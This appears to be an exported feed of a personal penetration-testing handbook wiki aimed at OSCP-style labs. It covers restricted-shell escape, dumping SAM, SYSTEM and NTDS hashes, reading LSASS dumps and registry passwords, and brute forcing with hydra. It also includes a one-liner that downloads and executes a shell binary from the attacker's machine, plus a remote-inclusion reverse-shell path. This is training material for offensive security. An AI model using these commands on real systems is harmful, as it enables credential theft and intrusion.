https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2374</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2374"/>
		<updated>2026-06-04T20:02:14Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* 5985, 5986 - WinRM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
